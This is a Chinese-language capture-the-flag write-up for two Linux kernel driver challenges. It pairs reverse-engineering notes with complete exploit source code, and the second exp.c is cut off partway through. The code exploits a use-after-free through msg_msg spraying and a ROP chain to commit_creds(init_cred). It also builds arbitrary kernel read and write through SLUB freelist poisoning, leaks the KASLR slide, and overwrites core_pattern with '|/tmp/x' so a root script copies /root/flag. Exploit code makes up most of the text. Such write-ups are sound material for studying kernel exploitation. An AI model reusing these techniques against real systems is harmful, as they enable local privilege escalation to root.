再造一批执行用 UAF 槽

我把执行阶段单独放到了 idx = 128 ~ 191,避免和泄露阶段互相污染。

流程同样是:

  1. ALLOC
  2. MARK(0x1bf52)
  3. FREE

用 msg_msg喷回收对象

连续发很多条:

msgsnd(qid, ...)

消息内容里把:

*(uint64_t *)(mtext + 0xe0) = pivot_gadget;

然后再对所有悬挂槽 READ 一遍,找到哪个槽已经被 msg_msg 回收:

if (leak[1] == MSG_TYPE && leak[2] == MSG_TEXT_SIZE &&
    leak[5] == 0x4d4d4d4d4d4d4d4dULL)
    命中

对命中的槽写入完整 ROP 链

这里的 CMD_WRITE 写的是旧 NetJob->data
但实际上已经覆盖到了新 msg_msg->text

因为 handler 已经被设成 pivot gadget,
所以这里只要把 data 区布局成上面的 ROP 栈即可。

CMD_EXEC 触发

最后一发:

ioctl(fd, CMD_EXEC, {.idx = target_idx});

效果是:

  1. 读取悬挂对象 +0x110 的 handler
  2. 跳到 pivot gadget
  3. 栈 pivot 到 job->data
  4. 执行 commit_creds(init_cred)
  5. 经 KPTI trampoline 返回用户态
  6. 进入 get_flag()
  7. 读取 /root/flag / /flag 并打印

exp.c

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#include <sys/sem.h>
#include <sys/types.h>
#include <unistd.h>

#define DEV_PATH "/dev/netref"

#define CMD_ALLOC 0x1111
#define CMD_FREE 0x2222
#define CMD_READ 0x3333
#define CMD_WRITE 0x4444
#define CMD_MARK 0xdeadbeef
#define CMD_EXEC 0xcafebabe

struct req {
    uint32_t idx;
    uint32_t size;
    uint64_t ptr;
    uint64_t extra;
};

static uint64_t user_cs;
static uint64_t user_ss;
static uint64_t user_sp;
static uint64_t user_rflags;

static const uint64_t KERNEL_BASE = 0xffffffff81000000ULL;
static const uint64_t INOTIFY_OPS_OFF = 0x000000000144bcc0ULL;
static const uint64_t POP_RDI_RET_OFF = 0x00000000000c8099ULL;
static const uint64_t COMMIT_CREDS_OFF = 0x00000000001300b0ULL;
static const uint64_t INIT_CRED_OFF = 0x000000000228fbc0ULL;
static const uint64_t PIVOT_GADGET_OFF = 0x0000000000e74805ULL;
static const uint64_t KPTI_TRAMPOLINE_OFF = 0x00000000012011a7ULL;

#define MSG_TEXT_SIZE 0x1d0
#define MSG_HANDLER_OFFSET 0xe0
#define MSG_TYPE 1
#define MSG_PATTERN 0x4d
#define NUM_LEAK_HOLES 16
#define NUM_LEAK_SEMS 4
#define NUM_EXEC_HOLES 64
#define EXEC_BASE_IDX 128
#define NUM_MSGS 128

struct leak_slot {
    int idx;
    int kind;
    uint64_t base;
    uint64_t q[0x20];
};

enum {
    SLOT_NONE,
    SLOT_SEM,
    SLOT_INOTIFY,
};

struct msgbuf_dyn {
    long mtype;
    char mtext[MSG_TEXT_SIZE];
};

static long sys_call3(long nr, long a1, long a2, long a3) {
    long ret;

    __asm__ volatile(
        "syscall"
        : "=a"(ret)
        : "a"(nr), "D"(a1), "S"(a2), "d"(a3)
        : "rcx", "r11", "memory");
    return ret;
}

static long sys_call1(long nr, long a1) {
    long ret;

    __asm__ volatile(
        "syscall"
        : "=a"(ret)
        : "a"(nr), "D"(a1)
        : "rcx", "r11", "memory");
    return ret;
}

static long sys_call2(long nr, long a1, long a2) {
    long ret;

    __asm__ volatile(
        "syscall"
        : "=a"(ret)
        : "a"(nr), "D"(a1), "S"(a2)
        : "rcx", "r11", "memory");
    return ret;
}

static void raw_write1(const char *buf, size_t len) {
    (void)sys_call3(1, 1, (long)buf, (long)len);
}

static void raw_exit(int code) {
    (void)sys_call1(60, code);
    __builtin_unreachable();
}

static void die(const char *msg) {
    perror(msg);
    exit(1);
}

static void save_state(void) {
    __asm__ volatile("mov %%cs, %0" : "=r"(user_cs));
    __asm__ volatile("mov %%ss, %0" : "=r"(user_ss));
    __asm__ volatile("mov %%rsp, %0" : "=r"(user_sp));
    __asm__ volatile("pushfq; pop %0" : "=r"(user_rflags));
}

static void get_flag(void) {
    static const char *paths[] = {
        "/root/flag",
        "/flag",
        "/home/ctf/flag",
        "/root/flag.txt",
        "/flag.txt",
    };
    char buf[0x100];
    long fd;
    long n;
    size_t i;
    static const char ok[] = "root-ok\n";

    for (i = 0; i < sizeof(paths) / sizeof(paths[0]); i++) {
        fd = sys_call3(2, (long)paths[i], O_RDONLY, 0);
        if (fd < 0) {
            continue;
        }

        n = sys_call3(0, fd, (long)buf, sizeof(buf) - 1);
        if (n > 0) {
            raw_write1(buf, (size_t)n);
            raw_write1("\n", 1);
            raw_exit(0);
        }
    }

    raw_write1(ok, sizeof(ok) - 1);
    raw_exit(0);
}

static void return_ok(void) {
    static const char msg[] = "return-ok\n";

    raw_write1(msg, sizeof(msg) - 1);
    raw_exit(0);
}

static void pin_cpu0(void) {
    cpu_set_t set;

    CPU_ZERO(&set);
    CPU_SET(0, &set);
    if (sched_setaffinity(0, sizeof(set), &set) < 0) {
        die("sched_setaffinity");
    }
}

static void do_req(int fd, unsigned long cmd, uint32_t idx, uint32_t size,
                   void *ptr, uint64_t extra, const char *what, int allow_eilseq) {
    struct req req = {
        .idx = idx,
        .size = size,
        .ptr = (uint64_t)ptr,
        .extra = extra,
    };

    if (ioctl(fd, cmd, &req) < 0) {
        if (allow_eilseq && errno == EILSEQ) {
            return;
        }
        die(what);
    }
}

static int spray_msg(uint64_t handler) {
    struct msgbuf_dyn msg;
    int qid;

    qid = msgget(IPC_PRIVATE, 0600 | IPC_CREAT);
    if (qid < 0) {
        die("msgget");
    }

    memset(&msg, MSG_PATTERN, sizeof(msg));
    msg.mtype = MSG_TYPE;
    *(uint64_t *)(msg.mtext + MSG_HANDLER_OFFSET) = handler;

    if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) < 0) {
        die("msgsnd");
    }

    return qid;
}

static int is_kernel_ptr(uint64_t v) {
    return (v & 0xffff000000000000ULL) == 0xffff000000000000ULL;
}

static int is_inotify_slot(const uint64_t *q, uint64_t *base_out) {
    if (q[1] == q[2] && q[4] == q[5] &&
        is_kernel_ptr(q[1]) && is_kernel_ptr(q[4]) &&
        is_kernel_ptr(q[17]) && is_kernel_ptr(q[18])) {
        *base_out = q[1] - 0x10;
        return 1;
    }
    return 0;
}

static int is_sem_slot(const uint64_t *q, uint64_t *base_out) {
    if (q[16] == q[17] && q[18] == q[19] && q[20] == q[21] &&
        q[22] == 1 && is_kernel_ptr(q[16]) &&
        is_kernel_ptr(q[18]) && is_kernel_ptr(q[20])) {
        *base_out = q[16] - 0x88;
        return 1;
    }
    return 0;
}

static uint64_t try_leak_slide_segment(int fd, int base_idx) {
    uint64_t fill[0x20];
    uint64_t leak_base;
    uint64_t patch[0x20];
    struct leak_slot slots[NUM_LEAK_HOLES];
    int semids[NUM_LEAK_SEMS];
    int ifds[NUM_LEAK_HOLES - NUM_LEAK_SEMS];
    unsigned i;

    memset(fill, 0x41, sizeof(fill));
    for (i = 0; i < NUM_LEAK_HOLES; i++) {
        do_req(fd, CMD_ALLOC, (uint32_t)(base_idx + (int)i), 0x100, fill, 0,
               "alloc-leak", 0);
    }
    for (i = 0; i < NUM_LEAK_HOLES; i++) {
        do_req(fd, CMD_MARK, (uint32_t)(base_idx + (int)i), 0, NULL, 0x1bf52,
               "mark-leak", 1);
    }
    for (i = 0; i < NUM_LEAK_HOLES; i++) {
        do_req(fd, CMD_FREE, (uint32_t)(base_idx + (int)i), 0, NULL, 0,
               "free-leak", 0);
    }

    for (i = 0; i < NUM_LEAK_SEMS; i++) {
        semids[i] = semget(IPC_PRIVATE, 1, 0600 | IPC_CREAT);
        if (semids[i] < 0) {
            die("semget");
        }
    }
    memset(ifds, 0xff, sizeof(ifds));
    for (i = 0; i < NUM_LEAK_HOLES - NUM_LEAK_SEMS; i++) {
        ifds[i] = inotify_init1(0);
        if (ifds[i] < 0) {
            die("inotify_init1");
        }
    }

    memset(slots, 0, sizeof(slots));
    for (i = 0; i < NUM_LEAK_HOLES; i++) {
        slots[i].idx = base_idx + (int)i;
        do_req(fd, CMD_READ, (uint32_t)slots[i].idx, 0x100, slots[i].q, 0,
               "read-leak", 0);
        if (is_sem_slot(slots[i].q, &leak_base)) {
            slots[i].kind = SLOT_SEM;
            slots[i].base = leak_base;
        } else if (is_inotify_slot(slots[i].q, &leak_base)) {
            slots[i].kind = SLOT_INOTIFY;
            slots[i].base = leak_base;
        }
    }

    for (i = 0; i < NUM_LEAK_HOLES; i++) {
        if (slots[i].kind != SLOT_SEM) {
            continue;
        }
        memcpy(patch, slots[i].q, sizeof(patch));
        patch[22] = 8;
        do_req(fd, CMD_WRITE, (uint32_t)slots[i].idx, 0x100, patch, 0,
               "write-leak", 0);
    }

    for (i = 0; i < NUM_LEAK_SEMS; i++) {
        int ret;
        uint32_t cand;
        uint32_t slide32;

        errno = 0;
        ret = semctl(semids[i], 4, GETVAL);
        if (ret == -1 && errno != 0) {
            continue;
        }

        cand = (uint32_t)ret;
        if (cand == 0 || cand == 0xffffffffU) {
            continue;
        }

        slide32 = cand - (uint32_t)(KERNEL_BASE + INOTIFY_OPS_OFF);
        if ((slide32 & 0x1fffffU) == 0 && slide32 < 0x40000000U) {
            return slide32;
        }
    }

    return ~0ULL;
}

static uint64_t leak_slide_auto(int fd) {
    int base_idx;

    for (base_idx = 0; base_idx < 64; base_idx += NUM_LEAK_HOLES) {
        uint64_t slide = try_leak_slide_segment(fd, base_idx);
        if (slide != ~0ULL) {
            return slide;
        }
    }

    return ~0ULL;
}

int main(int argc, char **argv) {
    int fd;
    uint64_t initial[0x20];
    uint64_t chain[0x20];
    uint64_t leak[0x20];
    int qids[NUM_MSGS];
    uint64_t slide;
    uint64_t pop_rdi_ret;
    uint64_t commit_creds;
    uint64_t init_cred;
    uint64_t pivot_gadget;
    uint64_t kpti_trampoline;
    int auto_slide;
    int probe_mode;
    int target_idx;
    unsigned reclaimed;
    unsigned i;

    slide = 0;
    auto_slide = argc > 1 && !strcmp(argv[1], "auto");
    if (!auto_slide && argc > 1 && strcmp(argv[1], "probe")) {
        slide = strtoull(argv[1], NULL, 0);
    }
    probe_mode = (argc > 1 && !strcmp(argv[1], "probe")) ||
                 (argc > 2 && !strcmp(argv[2], "probe"));

    save_state();
    pin_cpu0();

    fd = open(DEV_PATH, O_RDWR);
    if (fd < 0) {
        die("open");
    }

    if (auto_slide) {
        slide = leak_slide_auto(fd);
        if (slide == ~0ULL) {
            dprintf(2, "auto leak failed\n");
            return 1;
        }
    }

    pop_rdi_ret = KERNEL_BASE + slide + POP_RDI_RET_OFF;
    commit_creds = KERNEL_BASE + slide + COMMIT_CREDS_OFF;
    init_cred = KERNEL_BASE + slide + INIT_CRED_OFF;
    pivot_gadget = KERNEL_BASE + slide + PIVOT_GADGET_OFF;
    kpti_trampoline = KERNEL_BASE + slide + KPTI_TRAMPOLINE_OFF;

    memset(initial, 0x41, sizeof(initial));
    for (i = 0; i < NUM_EXEC_HOLES; i++) {
        do_req(fd, CMD_ALLOC, EXEC_BASE_IDX + i, 0x100, initial, 0,
               "alloc-exec", 0);
    }
    for (i = 0; i < NUM_EXEC_HOLES; i++) {
        do_req(fd, CMD_MARK, EXEC_BASE_IDX + i, 0, NULL, 0x1bf52,
               "mark-exec", 1);
    }
    for (i = 0; i < NUM_EXEC_HOLES; i++) {
        do_req(fd, CMD_FREE, EXEC_BASE_IDX + i, 0, NULL, 0, "free-exec", 0);
    }

    for (i = 0; i < NUM_MSGS; i++) {
        qids[i] = spray_msg(pivot_gadget);
    }

    target_idx = -1;
    reclaimed = 0;
    for (i = 0; i < NUM_EXEC_HOLES; i++) {
        memset(leak, 0, sizeof(leak));
        do_req(fd, CMD_READ, EXEC_BASE_IDX + i, 0x100, leak, 0, "read-pre",
               0);
        if (leak[1] == MSG_TYPE && leak[2] == MSG_TEXT_SIZE &&
            leak[5] == 0x4d4d4d4d4d4d4d4dULL) {
            reclaimed++;
            if (target_idx < 0) {
                target_idx = EXEC_BASE_IDX + (int)i;
            }
        }
    }

    if (target_idx < 0) {
        dprintf(2,
                "msg reclaim failed: hits=%u slide=%#llx "
                "first_qwords=%#llx %#llx %#llx %#llx qid0=%d\n",
                reclaimed,
                (unsigned long long)slide,
                (unsigned long long)leak[0],
                (unsigned long long)leak[1],
                (unsigned long long)leak[2],
                (unsigned long long)leak[5],
                qids[0]);
        return 1;
    }

    memset(chain, 0, sizeof(chain));
    chain[0] = 0x1111111111111111ULL;
    chain[1] = 0x2222222222222222ULL;
    for (i = 6; i < 20; i++) {
        chain[i] = 0;
    }

    if (probe_mode) {
        chain[2] = kpti_trampoline;
        chain[17] = 0;
        chain[18] = 0x3333333333333333ULL;
        chain[19] = (uint64_t)return_ok;
        chain[20] = user_cs;
        chain[21] = user_rflags;
        chain[22] = user_sp;
        chain[23] = user_ss;
    } else {
        chain[2] = pop_rdi_ret;
        chain[3] = init_cred;
        chain[4] = commit_creds;
        chain[5] = kpti_trampoline;
        chain[20] = 0;
        chain[21] = 0x3333333333333333ULL;
        chain[22] = (uint64_t)get_flag;
        chain[23] = user_cs;
        chain[24] = user_rflags;
        chain[25] = user_sp;
        chain[26] = user_ss;
    }

    do_req(fd, CMD_WRITE, (uint32_t)target_idx, 0x100, chain, 0, "write", 0);

    do_req(fd, CMD_EXEC, (uint32_t)target_idx, 0, NULL, 0, "exec", 0);
    return 0;
}

ref-revenge

同样也是内核题

run.sh

#!/bin/bash
qemu-system-x86_64 \
    -m 256M \
    -cpu kvm64,+smep,+smap \
    -smp cores=2,threads=2 \
    -kernel ./bzImage \
    -hda ./rootfs.img \
    -nographic \
    -monitor /dev/null \
    -append "console=ttyS0 root=/dev/sda rw rdinit=/sbin/init nokaslr pti=on quiet oops=panic panic=1" \
    -no-reboot \
    -snapshot \
    -s

ida看驱动CrossRef.ko

从 init_module可以看出,模块创建了一个名字叫 netjob_cache的 kmem_cache

单个对象大小是 0x200,注册了 misc 设备 crossref,用户态对应节点是 /dev/crossref

也就是说,后面所有 job 对象都来自一个独立的 SLUB cache,大小固定 0x200

这点非常重要,因为独立 cache 的 freelist 规律更稳定,0x200 大小的对象布局可以精确推

后续做 UAF / freelist poisoning 时,不会被别的 kmalloc-size 对象频繁污染

接着看 ioctl 分发,确定攻击面

crossref_ioctl 是整题最关键的总入口

把它逆完后,可以得到这些命令:

0x1111:分配对象

0x2222:释放对象

0x3333:读对象 data

0x4444:写对象 data

0xdeadbeef:修改 job->magic_tag

  • 0xcafebabe:调用 job->handler(job->data)

看对象分配函数alloc_job ,逆出来后,可以还原出对象布局大致如下:

struct NetJob {
    int refcnt;              // +0x00
    int state;               // +0x04
    char data[0x100];        // +0x08
    uint64_t magic_tag;      // +0x108
    uint64_t handler;        // +0x110
    // ... padding 到 0x200
};

其中最关键的点有 3 个:

  1. data 从 +0x8 开始,长度正好 0x100

说明正常读写接口只覆盖 +0x8 ~ +0x107

  1. handler 在 +0x110

说明用户态正常 read/write 碰不到函数指针

  1. alloc_job 会初始化 handler = default_handler

所以每个新对象默认都带着一个模块内代码指针

这个细节后面会变成我们的模块基址泄漏

看读写函数rw_job

它只会对 job + 0x8 这 0x100 字节做 _copy_to_user/_copy_from_user

也就是说:

  • 能读写的是 data[0x100]
  • 正常情况下不能直接覆盖 magic_tag
  • 不能直接覆盖 handler

漏洞点在deadbeef 分支

支逻辑大概是:

  1. 取出 jobs[idx]
  2. 给它 refcount_inc
  3. 检查 job->state
  4. 如果传入值等于特殊常量 0x1bf52
  • 打印 Critical Magic Error
  • 把 state = 2
  • 做一次 refcount_dec
  • 如果减到 0,就 kmem_cache_free(job)
  1. 但是不会清空 jobs[idx]

这就是核心漏洞UAF

这个模块有两个很适合利用的性质

cache 是独立的,所有对象都来自 netjob_cache,复用关系可控

而且对象固定 0x200而在这个 cache 中:

  • 对象尾部附近会放 freelist 编码值
  • 被 free 后,再通过旧悬挂指针读回去,就能观察到 freelist 元数据

这意味着我们能做两件事:

  1. 泄漏模块里的代码指针
  2. 做 freelist poisoning,最终拿到任意地址读写

利用思路

先分配两个对象A,C

然后对 A 触发 deadbeef(idx=A, extra=0x1bf52)

  • A 被 free
  • jobs[A] 仍然悬挂

此时通过旧的 A 去读对象尾部,能拿到 freelist 编码值

接着:

  1. 再分配一个新对象把 A 位置重新占住
  2. free 掉 C
  3. 再 free 掉刚刚那个新对象

这样旧的 A 位置里保存的 freelist,就指向了 C

再通过旧 A 读出这个 freelist 编码值,就能恢复出 C 的真实内核地址

然后:

  1. 再让 C 自己也变成悬挂对象
  2. 利用 freelist poisoning,让下一次分配落到 C - 0x108
  3. 这样新对象的 data[0..7] 就会覆盖到原来 C->handler

最后再通过旧的 C 去读 data[0..7],读到的其实就是C->handler,也就是 default_handler

default_handler 在模块内偏移固定:

module_base = default_handler - 0x10;

这是因为:

  • __pfx_default_handler 在 .text + 0x0
  • default_handler 在 .text + 0x10

所以拿到 default_handler 的运行时地址,就等于拿到了整个模块映射基址

模块基址有了以后,下一步目标是:

把 jobs[] 数组本身劫持掉,构造一个“假 job 指针”,从而做任意地址读写

模块里有一个全局数组:

NetJob *jobs[1280];

它在模块 .bss 里,偏移固定:

jobs = module_base + 0x2700

如果能让某个 jobs[idx] 指向我们伪造的内存,那么:

  • 0x3333 会从 fake_job + 0x8 读
  • 0x4444 会往 fake_job + 0x8 写

于是只要把 fake_job 的起始地址摆到合适的位置,就能把任意目标地址映射成“一个 job 的 data 区

我最后采用的是更稳的一种写法,已经拿到模块基址之后,切到另一颗 CPU

在一块新的、干净的 slab 上再做一次最小化 stable UAF

通过 freelist poisoning,把下一次分配直接分配到:

&jobs[SELF_IDX] - 8

这样新分配出来的“对象”,其实落在 jobs[] 数组内部。

然后往这里写一个假内容:

fake[0] = &jobs[SELF_IDX] - 8;
fake[1] = target - 8;

效果是:

  • jobs[SELF_IDX] 变成一个可控“假 job”
  • jobs[ARW_IDX] 变成另一个“指向目标地址前 8 字节”的假 job

之后:

  • 对 SELF_IDX 写 16 字节,可以动态修改 ARW_IDX 指向哪里
  • 对 ARW_IDX 做 read/write,就等价于对任意内核地址做 read/write

这就是最终的 arbitrary read 和arbitrary write

接着是KASLR 泄漏

前面我们已经有 arbitrary read 了

再回头看 default_handler 这段模块代码:它内部会调用 _printk

所以只要读出 default_handler 的机器码,解析出那条 call _printk 的相对偏移,就能还原 _printk 的真实运行时地址。

而 _printk 在本地 vmlinux 里的静态地址是固定的:

_printk = 0xffffffff8119a9f0

于是:

slide = printk_runtime - static__printk

这就是远程当轮内核的真实 KASLR 偏移

拿到 slide 以后,就可以得到远程真实地址:

core_pattern = static_core_pattern + slide;

最终完整攻击流程如下:

第一次 stable UAF

  • 泄漏 default_handler
  • 计算模块基址
  • 用 AC 两个对象控制 freelist
  • 通过悬挂指针读 freelist 编码值
  • 恢复 C 真实地址
  • poison 到 C-0x108
  • 读出 C->handler

得到:default_handlermodule_base

第二次 stable UAF

  • 劫持 jobs[]
  • 建立 arbitrary read/write
  • 在干净 slab 上重新做一次最小化 UAF
  • freelist poisoning 到 &jobs[SELF_IDX] - 8
  • 构造两个假 job
  • 通过 SELF_IDX 动态修改 ARW_IDX 的目标地址

得到:任意地址读和任意地址写

然后live 泄漏 KASLR拿远程本轮真实 slide

  • 用 arbitrary read 读 default_handler 机器码
  • 解析其中对 _printk 的 call
  • 算出 _printk 真实地址
  • 与静态 vmlinux 中 _printk 地址相减

得到slide并算出 core_pattern

core_pattern = static_core_pattern + slide;

覆盖 core_pattern把它写成:

|/tmp/x

在用户态提前准备:

#!/bin/sh
cp /root/flag /tmp/flag
chmod 777 /tmp/flag

触发 crash,子进程设置 RLIMIT_CORE=inf后空指针写崩溃

于是内核执行:

/tmp/x

最终/root/flag被 root 拷贝到 /tmp/flag,用户态读取 /tmp/flag,拿到真 flag

exp.c

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define CMD_ALLOC 0x1111UL
#define CMD_FREE 0x2222UL
#define CMD_READ 0x3333UL
#define CMD_WRITE 0x4444UL
#define CMD_SET_HANDLER 0xdeadbeefUL

#define CRIT_MAGIC 0x1bf52ULL
#define DATA_SZ 0x100

#define SLAB_OBJS 16

#define IDX_A 0
#define IDX_C 1
#define IDX_A_LIVE 16
#define IDX_A_REUSE 17
#define IDX_C_REUSE 18
#define IDX_C_CONSUME 19
#define IDX_FAKE_LEAK 20
#define IDX_CPU1_STALE 32
#define IDX_CPU1_CONSUME 48
#define IDX_FAKE_JOBS 49

#define SELF_IDX 1200
#define ARW_IDX 1201

#define DEFAULT_HANDLER_OFF 0x10ULL
#define JOBS_OFF 0x2700ULL

#define STATIC_PRINTK 0xffffffff8119a9f0ULL
#define STATIC_CORE_PATTERN 0xffffffff8346f0e0ULL

struct request {
    uint32_t idx;
    uint32_t size;
    uint64_t ptr;
    uint64_t extra;
};

static void die(const char *msg) {
    perror(msg);
    exit(1);
}

static void diex(const char *msg) {
    fprintf(stderr, "%s\n", msg);
    exit(1);
}

static int pin_cpu(int cpu) {
    cpu_set_t set;

    CPU_ZERO(&set);
    CPU_SET(cpu, &set);
    return sched_setaffinity(0, sizeof(set), &set);
}

static long do_ioctl(int fd, unsigned long cmd, struct request *req) {
    return ioctl(fd, cmd, req);
}

static void alloc_job(int fd, int idx, const void *buf, uint32_t size) {
    struct request req;

    memset(&req, 0, sizeof(req));
    req.idx = (uint32_t)idx;
    req.size = size;
    req.ptr = (uint64_t)(uintptr_t)buf;
    if (do_ioctl(fd, CMD_ALLOC, &req) < 0 && errno != EEXIST) {
        die("alloc_job");
    }
}

static void free_job(int fd, int idx) {
    struct request req;

    memset(&req, 0, sizeof(req));
    req.idx = (uint32_t)idx;
    if (do_ioctl(fd, CMD_FREE, &req) < 0 && errno != ENOENT) {
        die("free_job");
    }
}

static void read_job(int fd, int idx, void *buf, uint32_t size) {
    struct request req;

    memset(buf, 0, size);
    memset(&req, 0, sizeof(req));
    req.idx = (uint32_t)idx;
    req.size = size;
    req.ptr = (uint64_t)(uintptr_t)buf;
    if (do_ioctl(fd, CMD_READ, &req) < 0) {
        die("read_job");
    }
}

static void write_job(int fd, int idx, const void *buf, uint32_t size) {
    struct request req;

    memset(&req, 0, sizeof(req));
    req.idx = (uint32_t)idx;
    req.size = size;
    req.ptr = (uint64_t)(uintptr_t)buf;
    if (do_ioctl(fd, CMD_WRITE, &req) < 0) {
        die("write_job");
    }
}

static long set_handler_magic(int fd, int idx, uint64_t val) {
    struct request req;

    memset(&req, 0, sizeof(req));
    req.idx = (uint32_t)idx;
    req.extra = val;
    return do_ioctl(fd, CMD_SET_HANDLER, &req);
}

static uint64_t tail_qword(const uint8_t *buf) {
    uint64_t v;

    memcpy(&v, buf + DATA_SZ - sizeof(v), sizeof(v));
    return v;
}

static void set_tail_qword(uint8_t *buf, uint64_t v) {
    memcpy(buf + DATA_SZ - sizeof(v), &v, sizeof(v));
}

static void fill_data(uint8_t *buf, uint8_t c) {
    memset(buf, c, DATA_SZ);
}

static void alloc_fill(int fd, int idx, uint8_t c) {
    uint8_t buf[DATA_SZ];

    fill_data(buf, c);
    alloc_job(fd, idx, buf, sizeof(buf));
}

static void free_range(int fd, int from, int to) {
    int i;

    for (i = from; i <= to; i++) {
        free_job(fd, i);
    }
}

static void free_slot_if_live(int fd, int idx) {
    free_job(fd, idx);
}

static void write_file(const char *path, const void *buf, size_t len, mode_t mode) {
    int fd;

    fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode);
    if (fd < 0) {
        die("open output file");
    }
    if (write(fd, buf, len) != (ssize_t)len) {
        die("write output file");
    }
    close(fd);
}

static void prepare_helper_files(void) {
    static const char script[] =
        "#!/bin/sh\n"
        "cp /root/flag /tmp/flag\n"
        "chmod 777 /tmp/flag\n";

    unlink("/tmp/flag");
    write_file("/tmp/x", script, sizeof(script) - 1, 0777);
    chmod("/tmp/x", 0777);
}

static int trigger_core_pattern_and_print_flag(void) {
    char flag[256];
    int fd;
    pid_t pid;
    int status;
    int tries;

    pid = fork();
    if (pid < 0) {
        die("fork");
    }
    if (pid == 0) {
        struct rlimit lim;

        lim.rlim_cur = RLIM_INFINITY;
        lim.rlim_max = RLIM_INFINITY;
        setrlimit(RLIMIT_CORE, &lim);
        *(volatile int *)0 = 0;
        _exit(0);
    }
    waitpid(pid, &status, 0);

    for (tries = 0; tries < 30; tries++) {
        fd = open("/tmp/flag", O_RDONLY);
        if (fd >= 0) {
            ssize_t n = read(fd, flag, sizeof(flag) - 1);
            if (n < 0) {
                die("read /tmp/flag");
            }
            flag[n] = '\0';
            write(STDOUT_FILENO, flag, (size_t)n);
            close(fd);
            return 1;
        }
        usleep(100000);
    }

    return 0;
}

static uint64_t leak_default_handler(int fd, uint64_t *mask_c_out, uint64_t *obj_c_out) {
    uint8_t buf[DATA_SZ];
    uint64_t mask_a;
    uint64_t enc_c;
    uint64_t obj_c;
    uint64_t mask_c;
    uint64_t handler;
    int i;

    if (pin_cpu(0) < 0) {
        die("pin_cpu 0");
    }

    free_range(fd, 0, 48);
    free_slot_if_live(fd, SELF_IDX);
    free_slot_if_live(fd, ARW_IDX);

    for (i = 0; i < SLAB_OBJS; i++) {
        alloc_fill(fd, i, (uint8_t)(0x41 + i));
    }

    if (set_handler_magic(fd, IDX_A, CRIT_MAGIC) >= 0) {
        diex("critical magic did not fail");
    }
    read_job(fd, IDX_A, buf, sizeof(buf));
    mask_a = tail_qword(buf);

    alloc_fill(fd, IDX_A_LIVE, 0x61);
    free_job(fd, IDX_C);
    free_job(fd, IDX_A_LIVE);

    read_job(fd, IDX_A, buf, sizeof(buf));
    enc_c = tail_qword(buf);
    obj_c = enc_c ^ mask_a;

    alloc_fill(fd, IDX_A_REUSE, 0x62);
    alloc_fill(fd, IDX_C_REUSE, 0x63);

    if (set_handler_magic(fd, IDX_C_REUSE, CRIT_MAGIC) >= 0) {
        diex("critical magic on C did not fail");
    }
    read_job(fd, IDX_C_REUSE, buf, sizeof(buf));
    mask_c = tail_qword(buf);

    fill_data(buf, 0x64);
    set_tail_qword(buf, (obj_c - 0x108ULL) ^ mask_c);
    write_job(fd, IDX_C_REUSE, buf, sizeof(buf));

    alloc_fill(fd, IDX_C_CONSUME, 0x65);
    alloc_fill(fd, IDX_FAKE_LEAK, 0x66);

    read_job(fd, IDX_C_REUSE, buf, sizeof(buf));
    memcpy(&handler, buf, sizeof(handler));

    fprintf(stderr, "mask_a=%#016llx enc_c=%#016llx obj_c=%#016llx mask_c=%#016llx handler=%#016llx\n",
            (unsigned long long)mask_a,
            (unsigned long long)enc_c,
            (unsigned long long)obj_c,
            (unsigned long long)mask_c,
            (unsigned long long)handler);

    *mask_c_out = mask_c;
    *obj_c_out = obj_c;
    return handler;
}

static void build_jobs_arw(int fd, uint64_t module_base, uint64_t initial_target) {
    uint8_t buf[DATA_SZ];
    uint64_t jobs_base = module_base + JOBS_OFF;
    uint64_t self_ptr = jobs_base + SELF_IDX * 8ULL - 8ULL;
    uint64_t mask_p;
    int i;

    if (pin_cpu(1) < 0) {
        die("pin_cpu 1");
    }

    for (i = IDX_CPU1_STALE; i < IDX_CPU1_STALE + SLAB_OBJS; i++) {
        alloc_fill(fd, i, (uint8_t)(0x71 + (i - IDX_CPU1_STALE)));
    }

    if (set_handler_magic(fd, IDX_CPU1_STALE, CRIT_MAGIC) >= 0) {
        diex("critical magic on cpu1 slab did not fail");
    }
    read_job(fd, IDX_CPU1_STALE, buf, sizeof(buf));
    mask_p = tail_qword(buf);

    fill_data(buf, 0x81);
    set_tail_qword(buf, self_ptr ^ mask_p);
    write_job(fd, IDX_CPU1_STALE, buf, sizeof(buf));

    alloc_fill(fd, IDX_CPU1_CONSUME, 0x82);

    memset(buf, 0, sizeof(buf));
    ((uint64_t *)buf)[0] = self_ptr;
    ((uint64_t *)buf)[1] = initial_target - 8ULL;
    alloc_job(fd, IDX_FAKE_JOBS, buf, sizeof(buf));

    fprintf(stderr, "module_base=%#016llx jobs_base=%#016llx self_ptr=%#016llx mask_p=%#016llx\n",
            (unsigned long long)module_base,
            (unsigned long long)jobs_base,
            (unsigned long long)self_ptr,
            (unsigned long long)mask_p);
}

static void set_arw_target(int fd, uint64_t module_base, uint64_t target) {
    uint8_t buf[16];
    uint64_t jobs_base = module_base + JOBS_OFF;
    uint64_t self_ptr = jobs_base + SELF_IDX * 8ULL - 8ULL;

    memset(buf, 0, sizeof(buf));
    ((uint64_t *)buf)[0] = self_ptr;
    ((uint64_t *)buf)[1] = target - 8ULL;
    write_job(fd, SELF_IDX, buf, sizeof(buf));
}

static void arb_read(int fd, uint64_t module_base, uint64_t target, void *buf, uint32_t size) {
    set_arw_target(fd, module_base, target);
    read_job(fd, ARW_IDX, buf, size);
}

static void arb_write(int fd, uint64_t module_base, uint64_t target, const void *buf, uint32_t size) {
    set_arw_target(fd, module_base, target);
    write_job(fd, ARW_IDX, buf, size);
}

static uint64_t leak_kernel_slide(int fd, uint64_t module_base, uint64_t default_handler) {
    uint8_t code[0x20];
    int32_t disp;
    uint64_t printk_runtime;

    arb_read(fd, module_base, default_handler, code, sizeof(code));

    {
        int i;

        fprintf(stderr, "default_handler bytes:");
        for (i = 0; i < (int)sizeof(code); i++) {
            fprintf(stderr, " %02x", code[i]);
        }
        fprintf(stderr, "\n");
    }

    if (code[0x13] != 0xe8) {
        diex("unexpected default_handler bytes");
    }

